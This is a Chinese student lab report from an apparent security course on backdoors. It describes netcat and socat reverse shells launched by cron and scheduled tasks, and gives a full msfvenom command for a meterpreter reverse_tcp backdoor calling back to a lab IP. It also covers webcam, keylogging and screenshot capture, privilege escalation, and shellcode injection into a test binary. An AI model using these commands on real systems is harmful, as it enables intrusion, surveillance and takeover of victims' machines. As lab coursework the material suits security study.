20192424王昭云后门原理与实践实验报告
20192424王昭云实验二
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
- 首先获取windowsIP
- 然后获取ubuntu的IP
- 配置cron,设置16分钟进行反向连接windows
- 由于cron执行失败,我单独执行反连接发现nc不支持-e命令,经过不断的上网查证发现nc官网下载的和本地默认的都是自动模式,此模式不支持-e,于是如上图,我改成了手工模式,并且反弹连接成功。下图是修改模式截图:
- Cron自动进入,如图:
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 下载安装msf之类的软件,我因为github部分网页被墙,去官网下载了deb包自己安装的。接下来msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.132 LPORT=1314 -f exe > 20192424_backdoor.exe生成后门程序:
- 参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口
-f 生成文件的类型 - 在Windows下执行ncat -l 1314 > 20181314_backdoor.exe,这样被控主机就进入了接收文件模式:
- 可以看到后门程序已经传过来了
- 进入msfconsole
- 成功通过后门程序获得shell:
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用webcam_snap进行拍照
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
- 使用screenshot指令可以进行截屏,效果如下:
- 先使用getuid指令查看当前用户,使用getsystem指令进行提权
任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
- 做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
- 查看靶机版本
- 修改图中code为ubuntu的IP地址对应192.168.189.132
- 修改端口号为0522h对应1314
- 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址 - 设置断点
- 找到被覆盖的eip
- 计算得到FFFFD090
- 在shellocode中添加ret地址
- 然后启动msfconsole,运行pwn1,管道输入shellcode
- 实验暂时失败,失败结果如下:
- 失败原因在于payload识别不出来:
- 通过msfvonom -l payloads>payloadsshow | vim payloadsshow查看支持的payloads种类
- 尝试使用回环地址,生成新的shellcode:
- 尝试新的payloads
- Msfconsole中没有任何反应,根据wireshark抓包猜测结果:
- 可见,后门程序先在4444端口发送了连接请求,msf的端口也收到了该请求,然后进行了回复,回复包如下:
- 到现在可以知道shellcode注入没有技术问题,恶意代码是可以正常执行的,恶意代码中的反弹连接请求也能发送,那么问题应该在于payload的版本。
Kali中的gdb调试截图 - Shellcode注入截图
- 以下是kali版本同一个payload成功截图
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 通过修改PE,ELF文件中的导入表等等在我们下载的程序中插入后门。
- 通过XSS攻击让浏览器自动下载后门程序
例举你知道的后门如何启动起来(win及linux)的方式?
- windows通过任务计划
- linux中用cron
- 修改注册表开机自启动
- shellcode通过缓冲区溢出等方式启动
- 访问带有恶意代码的bmp图片
Meterpreter有哪些给你映像深刻的功能?
- 能自动生成exe,raw,c等格式对应不同系统不同功能不同语言的漏洞,实现了漏洞的DIY
- 对后门程序的封装很好,操作简单,比如通过后台截屏摄像等等
如何发现自己有系统有没有被安装后门?
- 检查下载的文件的hash,与官网的hash对比
- 检查流量是否异常
- 检查注册表
- 检查是否有异常端口使用